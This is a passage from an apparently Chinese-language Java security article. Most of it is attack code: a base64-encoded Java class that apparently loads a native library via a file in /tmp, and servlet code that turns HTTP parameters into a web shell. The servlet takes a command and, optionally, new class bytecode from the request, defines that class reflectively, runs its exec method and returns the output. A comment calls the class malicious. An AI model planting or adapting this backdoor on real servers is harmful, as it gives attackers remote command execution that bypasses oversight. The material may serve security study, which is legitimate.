FCM0FBQUFCQUFBQUFJQUFBQUFBQUFBY0FnQUFBQUFBQUJ3Q0FBQUFBQUFBUEFBQUFBQUFBQUFCQUFBQUFBQUFBQUlBQUFBQUFBQUFCZ0FBQUFBQUFBQWdRQUFBQVFBQUFCQ0FBQUFBQUFBQUdBSkFBQUFBQUFBWUFrQUFBQUFBQUE0QVFBQUFBQUFBQVFBQUFBWUFBQUFDQUFBQUFBQUFBQVlBQUFBQUFBQUFJc0FBQUFCQUFBQUJnQUFBQUFBQUFBQUVBQUFBQUFBQUFBUUFBQUFBQUFBR3dBQUFBQUFBQUFBQUFBQUFBQUFBQVFBQUFBQUFBQUFBQUFBQUFBQUFBQ0dBQUFBQVFBQUFBWUFBQUFBQUFBQUlCQUFBQUFBQUFBZ0VBQUFBQUFBQU9BQUFBQUFBQUFBQUFBQUFBQUFBQUFRQUFBQUFBQUFBQkFBQUFBQUFBQUFrUUFBQUFFQUFBQUdBQUFBQUFBQUFBQVJBQUFBQUFBQUFCRUFBQUFBQUFBUUFBQUFBQUFBQUFBQUFBQUFBQUFBRUFBQUFBQUFBQUFRQUFBQUFBQUFBSm9BQUFBQkFBQUFCZ0FBQUFBQUFBQVFFUUFBQUFBQUFCQVJBQUFBQUFBQTBBQUFBQUFBQUFBQUFBQUFBQUFBQUJBQUFBQUFBQUFBRUFBQUFBQUFBQUNqQUFBQUFRQUFBQVlBQUFBQUFBQUE0QkVBQUFBQUFBRGdFUUFBQUFBQUFBVURBQUFBQUFBQUFBQUFBQUFBQUFBUUFBQUFBQUFBQUFBQUFBQUFBQUFBcVFBQUFBRUFBQUFHQUFBQUFBQUFBT2dVQUFBQUFBQUE2QlFBQUFBQUFBQU5BQUFBQUFBQUFBQUFBQUFBQUFBQUJBQUFBQUFBQUFBQUFBQUFBQUFBQUs4QUFBQUJBQUFBQWdBQUFBQUFBQUFBSUFBQUFBQUFBQUFnQUFBQUFBQUFBd0FBQUFBQUFBQUFBQUFBQUFBQUFBRUFBQUFBQUFBQUFBQUFBQUFBQUFDM0FBQUFBUUFBQUFJQUFBQUFBQUFBQkNBQUFBQUFBQUFFSUFBQUFBQUFBRXdBQUFBQUFBQUFBQUFBQUFBQUFBQUVBQUFBQUFBQUFBQUFBQUFBQUFBQXhRQUFBQUVBQUFBQ0FBQUFBQUFBQUZBZ0FBQUFBQUFBVUNBQUFBQUFBQUE4QVFBQUFBQUFBQUFBQUFBQUFBQUFDQUFBQUFBQUFBQUFBQUFBQUFBQUFNOEFBQUFCQUFBQUFnQUFBQUFBQUFDTUlRQUFBQUFBQUl3aEFBQUFBQUFBRXdBQUFBQUFBQUFBQUFBQUFBQUFBQUVBQUFBQUFBQUFBQUFBQUFBQUFBRGhBQUFBRGdBQUFBTUFBQUFBQUFBQTREMEFBQUFBQUFEZ0xRQUFBQUFBQUJBQUFBQUFBQUFBQUFBQUFBQUFBQUFJQUFBQUFBQUFBQWdBQUFBQUFBQUE3UUFBQUE4QUFBQURBQUFBQUFBQUFQQTlBQUFBQUFBQThDMEFBQUFBQUFBSUFBQUFBQUFBQUFBQUFBQUFBQUFBQ0FBQUFBQUFBQUFJQUFBQUFBQUFBUGtBQUFBR0FBQUFBd0FBQUFBQUFBRDRQUUFBQUFBQUFQZ3RBQUFBQUFBQTRBRUFBQUFBQUFBRkFBQUFBQUFBQUFnQUFBQUFBQUFBRUFBQUFBQUFBQUNWQUFBQUFRQUFBQU1BQUFBQUFBQUEyRDhBQUFBQUFBRFlMd0FBQUFBQUFDZ0FBQUFBQUFBQUFBQUFBQUFBQUFBSUFBQUFBQUFBQUFnQUFBQUFBQUFBQWdFQUFBRUFBQUFEQUFBQUFBQUFBQUJBQUFBQUFBQUFBREFBQUFBQUFBQ0FBQUFBQUFBQUFBQUFBQUFBQUFBQUNBQUFBQUFBQUFBSUFBQUFBQUFBQUFzQkFBQUJBQUFBQXdBQUFBQUFBQUNBUUFBQUFBQUFBSUF3QUFBQUFBQUFFQUFBQUFBQUFBQUFBQUFBQUFBQUFBZ0FBQUFBQUFBQUFBQUFBQUFBQUFBUkFRQUFDQUFBQUFNQUFBQUFBQUFBa0VBQUFBQUFBQUNRTUFBQUFBQUFBQWdBQUFBQUFBQUFBQUFBQUFBQUFBQUJBQUFBQUFBQUFBQUFBQUFBQUFBQUZnRUFBQUVBQUFBd0FBQUFBQUFBQUFBQUFBQUFBQUFBa0RBQUFBQUFBQUFyQUFBQUFBQUFBQUFBQUFBQUFBQUFBUUFBQUFBQUFBQUJBQUFBQUFBQUFBRUFBQUFDQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU1Bd0FBQUFBQUFBd0FZQUFBQUFBQUFkQUFBQU5BQUFBQWdBQUFBQUFBQUFHQUFBQUFBQUFBQUpBQUFBQXdBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFDQU53QUFBQUFBQUhvRUFBQUFBQUFBQUFBQUFBQUFBQUFCQUFBQUFBQUFBQUFBQUFBQUFBQUFFUUFBQUFNQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQStqc0FBQUFBQUFBZkFRQUFBQUFBQUFBQUFBQUFBQUFBQVFBQUFBQUFBQUFBQUFBQUFBQUFBQT09BwBHDABIAEkHAEoMACIASwEAGGphdmEvaW8vRmlsZU91dHB1dFN0cmVhbQEADy90bXAvb3V0cHV0LmJpbgwAFQBMAQAdamF2YS9pby9GaWxlTm90Rm91bmRFeGNlcHRpb24BABpqYXZhL2xhbmcvUnVudGltZUV4Y2VwdGlvbgwAFQBNDABOAE8BABNqYXZhL2lvL0lPRXhjZXB0aW9uDABQABYHAFEMAFIATAEAEGphdmEvbGFuZy9PYmplY3QBABBqYXZhL3V0aWwvQmFzZTY0AQAKZ2V0RGVjb2RlcgEAB0RlY29kZXIBAAxJbm5lckNsYXNzZXMBABwoKUxqYXZhL3V0aWwvQmFzZTY0JERlY29kZXI7AQAQamF2YS9sYW5nL1N0cmluZwEACGdldEJ5dGVzAQAEKClbQgEAGGphdmEvdXRpbC9CYXNlNjQkRGVjb2RlcgEABihbQilbQgEAFShMamF2YS9sYW5nL1N0cmluZzspVgEAGChMamF2YS9sYW5nL1Rocm93YWJsZTspVgEABXdyaXRlAQAFKFtCKVYBAAVjbG9zZQEAEGphdmEvbGFuZy9TeXN0ZW0BAARsb2FkACEAAwARAAAAAQAZABIAEwABABQAAAACAAQAAwABABUAFgABABcAAAAvAAEAAQAAAAUqtwABsQAAAAIAGAAAAAYAAQAAAAgAGQAAAAwAAQAAAAUAGgAbAAABCQAcAB0AAAAIAB4AFgABABcAAAEXAAMAAwAAAE64AAISBLYABbYABksBTLsAB1kSCLcACUynAA1NuwALWSy3AAy/Kyq2AA2nAA1NuwALWSy3AAy/K7YAD6cADU27AAtZLLcADL8SCLgAELEAAwAOABgAGwAKACUAKgAtAA4ANwA7AD4ADgADABgAAABCABAAAAAMAAwADQAOAA8AGAASABsAEAAcABEAJQAUACoAFwAtABUALgAWADcAGQA7ABwAPgAaAD8AGwBIAB0ATQAeABkAAAA0AAUAHAAJAB8AIAACAC4ACQAfACEAAgA/AAkAHwAhAAIADABBACIAIwAAAA4APwAkACUAAQAmAAAAHQAG/wAbAAIHACcHACgAAQcAKQlHBwAqCUYHACoJAAIAKwAAAAIALABFAAAACgABADQALgBEAAk=";

// 可以根据需要动态更新恶意类的类名和字节码
String cmd = request.getParameter("cmd");
String className = request.getParameter("className");
String classByte = request.getParameter("classByte");
if (cmd == null) {
return;
}
if (className != null) {
COMMAND_CLASS_NAME = className;
}
if (classByte != null) {
COMMAND_CLASS_BYTE_ENCODE = classByte;
}

byte[] COMMAND_CLASS_BYTE = Base64.getDecoder().decode(COMMAND_CLASS_BYTE_ENCODE.getBytes());
ClassLoader classLoader = this.getClass().getClassLoader();
Method defineClass = getMethod(classLoader, "defineClass", String.class, byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class<?> myCommandClass = (Class<?>) defineClass.invoke(classLoader, COMMAND_CLASS_NAME, COMMAND_CLASS_BYTE, 0, COMMAND_CLASS_BYTE.length);
String result = (String) myCommandClass.getDeclaredMethod("exec", String.class).invoke(null, cmd);
response.getWriter().write(result);
}

public Method getMethod(Object o, String methodName, Class<?>... parameterTypes) throws NoSuchMethodException {
if (o == null) {
return null;
}
Class<?> clz = o.getClass();
Method method;
while (true) {
try {
method = clz.getDeclaredMethod(methodName, parameterTypes);
System.out.println("method = " + method);
} catch (NoSuchMethodException e) {
clz = clz.getSuperclass();
System.out.println("clz = " + clz);
if (clz == null) {
return null;
}
continue;
}
return method;
}
}

参考文章

1
2
https://javasec.org/javase/CommandExecution/
https://javasec.org/javase/JNI/